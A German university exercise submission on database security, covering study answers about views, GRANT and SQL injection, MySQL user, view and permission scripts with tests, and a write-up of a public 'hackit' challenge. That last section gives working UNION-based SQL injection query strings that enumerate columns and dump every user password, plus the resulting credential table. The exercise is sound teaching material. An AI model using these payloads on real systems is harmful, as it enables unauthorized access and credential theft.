

# Übung DS: Datensicherheit

Gruppe 8: Lukas Arnold, Patrick Bucher, Christopher James Christensen, Jonas Kaiser, Melvin Werthmüller

## 1. Selbststudium

### Frage 1

Was heisst Datensicherheit?

- Der Begriff Datensicherheit umfasst technische und softwaregestützte Massnahmen zum Schutz der Daten vor Verfälschung, Zerstörung und Verlust.

### Frage 2

Welche Rolle spielen Sichten für die Datensicherheit?

- Mithilfe von Sichten (Views) können Ausschnitte aus Tabellen mittels SELECT-Statements definiert werden.
- Der Zugriff der Benutzer auf die Datenbank kann eingeschränkt werden, indem man den Zugriff auf bestimmte Sichten beschränkt und den Zugriff auf die zugrundeliegende(n) Tabelle(n) sperrt.
- Das einer Sicht zugrundeliegende SQL-SELECT-Statement kann die sichtbaren Spalten über die Projektion (SELECT ...), die sichtbaren Zeilen über die Selektion (WHERE ...) einschränken.

### Frage 3

Was heisst Grant? Was heisst Grant Option?

- GRANT ist der Name des SQL-Befehls, mit welchem man einem Benutzer oder einer Benutzergruppe bestimmte Berechtigungen auf bestimmte Datenbankobjekte (Tabellen, Views etc.) geben kann.
- Fügt man einer GRANT-Operation die Klausel WITH GRANT OPTION hinzu, erhält der jeweilige Benutzer (bzw. die jeweilige Benutzergruppe) nicht nur die darin spezifizierte Berechtigung, sondern auch die Möglichkeit, diese Berechtigung auf weitere Benutzer auszudehnen.

### Frage 4

Was ist SQL-Injection? Wie schützt man sich davor?

- SQL-Injection ist das Ausnutzen von mangelhaft abgesicherten, parametrisierten SQL-Anfragen einer Anwendung.
- Dabei wird ein Parameter einer SQL-Anfrage nicht nur – wie vom Programmierer gewünscht – mit einem Wert des entsprechenden Datentyps besetzt, sondern mit einer vom Angreifer injizierten Zeichenkette, z.B. einer erweiterten Bedingung oder gar einem ganzen SQL-Befehl.
- Beispiel:
  - Eine Webapplikation enthält dieses SQL-Statement:
    - \* DELETE FROM user WHERE id =
  - Als username wird eine Zeichenkette aus dem Query-String erwartet:
    - \* /?action=delete&id=42
  - Stattdessen sendet der Aufrufer folgende Anfrage:
    - \* /?action=delete&id=42%20OR%201=1
  - Daraus erstellt die Webapplikation folgendes SQL-Statement:
    - \* DELETE FROM user WHERE id = 42 OR 1=1
  - Da die Bedingung 1=1 für alle Datensätze zutrifft, werden sämtliche Einträge der Tabelle user gelöscht.

## 2. Views und Grants

### 1. Benutzer erstellen

```
create user 'Sokrates' identified by '@Sokrates';
create user 'Russel' identified by '@Russel';
create user 'Kopernikus' identified by '@Kopernikus';
create user 'Popper' identified by '@Augustinus';
create user 'Augustinus' identified by '@Augustinus';
create user 'Curie' identified by '@Curie';
create user 'Kant' identified by '@Kant';
```

### 2. Views erstellen

```
create view view_c4 as
  select vorlesungen.* from vorlesungen inner join
  professoren on (vorlesungen.gelesenVon = professoren.PersNr)
  where professoren.Rang = 'C4';

create view view_c3 as
  select vorlesungen.* from vorlesungen inner join
  professoren on (vorlesungen.gelesenVon = professoren.PersNr)
  where professoren.Rang = 'C3';
```

### 3. Rechte vergeben

```
select Name from professoren where Rang = 'C4';
```

Sokrates

Russel

Curie

Kant

```
grant select, insert, update, delete on view_c4 to Sokrates;
```

```
grant select, insert, update, delete on view_c4 to Russel;
```

```
grant select, insert, update, delete on view_c4 to Curie;
```

```
grant select, insert, update, delete on view_c4 to Kant;
```

```
grant select on view_c3 to Sokrates;
```

```
grant select on view_c3 to Russel;
```

```
grant select on view_c3 to Curie;
```

```
grant select on view_c3 to Kant;
```

```
select Name from professoren where Rang = 'C3';
```

Kopernikus

Popper

Augustinus

```
grant select, insert, update, delete on view_c3 to Kopernikus;
```

```
grant select, insert, update, delete on view_c3 to Popper;
```

```
grant select, insert, update, delete on view_c3 to Augustinus;
```

### 4. Test

Mit einem Professoren-Benutzer des Ranges C4:

```
mysql -u Sokrates -p@Sokrates
```

```
use uni;
```

```
show tables;
```

view\_c3

view\_c4

Sokrates sieht nur die Tabellen (bzw. Views), für welche er explizit Rechte erhalten hat!

```
update view_c4 set Titel = 'Metastrukturdekonstruktion' where Titel = 'Bioethik';
```

```
/*
```

```
Query OK, 1 row affected (0.01 sec)
```

```
Rows matched: 1 Changed: 1 Warnings: 0
```

```
*/
```

```

update view_c3 set Titel = 'Postmoderne Wissenschaftstheorie'
  where Titel = 'Der Wiener Kreis';
/*
ERROR 1142 (42000): UPDATE command denied to user 'Sokrates'@'localhost'
for table 'view_c3'
*/

```

Mit einem Professoren-Benutzer des Ranges C3:

```

mysql -u Augustinus -p@Augustinus

use uni;
show tables;

view_c3

update view_c3 set Titel = 'Postmoderne Wissenschaftstheorie'
  where Titel = 'Der Wiener Kreis';
/*
Query OK, 1 row affected, 1 warning (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 1
*/

```

Die Warnung stammt daher, dass die Spalte Titel mit dem Typ varchar(30) definiert ist und der neue Vorlesungstitel abgeschnitten wird.

### 3. SQL Injection

Hackit: <http://hackit.gehaxelt.in/sqli/level1.php>

Mit diesem Query-String kann man das Passwort eines Benutzers anhand dessen id anzeigen:

```
id=0+union+select+id,password+as+username,1,1,1+from+user+where+id=3
```

Für Abfragen mit UNION ist es wichtig, die Anzahl zurückgegebener Spalten zu kennen. Dies habe ich erraten, indem ich jeweils ein ,1 zusätzlich selektiert habe.

Die Spaltennamen habe ich auch erraten, sie liessen sich aber auch über das information\_schema ermitteln, indem man die Spalten anhand der ordinal\_number ausgibt (Zeilenumbrüche nur aus optischen Gründen vorhanden):

```

id=0+union+select+id,
(select+cols.col+from+
(select+ordinal_position,column_name+as+col+from+information_schema.columns+
where+table_name=%27user%27+and+ordinal_position=1)+as+cols)+as+username,1,1,1+from+user

```

Sämtliche IDs kann man so herausfinden:

```
id=0+union+select+id,GROUP_CONCAT(id)+as+username,1,1,1+from+user
```

Und so sämtliche Passwörter:

```
id=0+union+select+id,GROUP_CONCAT(password)+as+username,1,1,1+from+user
```

Wichtig ist, dass man der gewünschten Information den alias-Namen username vergibt, denn dieser Wert wird auf der Seite dargestellt.

Hier ist die ganze Tabelle user:

id	username	password
1	adminer	me_as_a_admin
2	rooter	dont_know_me
3	test	password_to_weak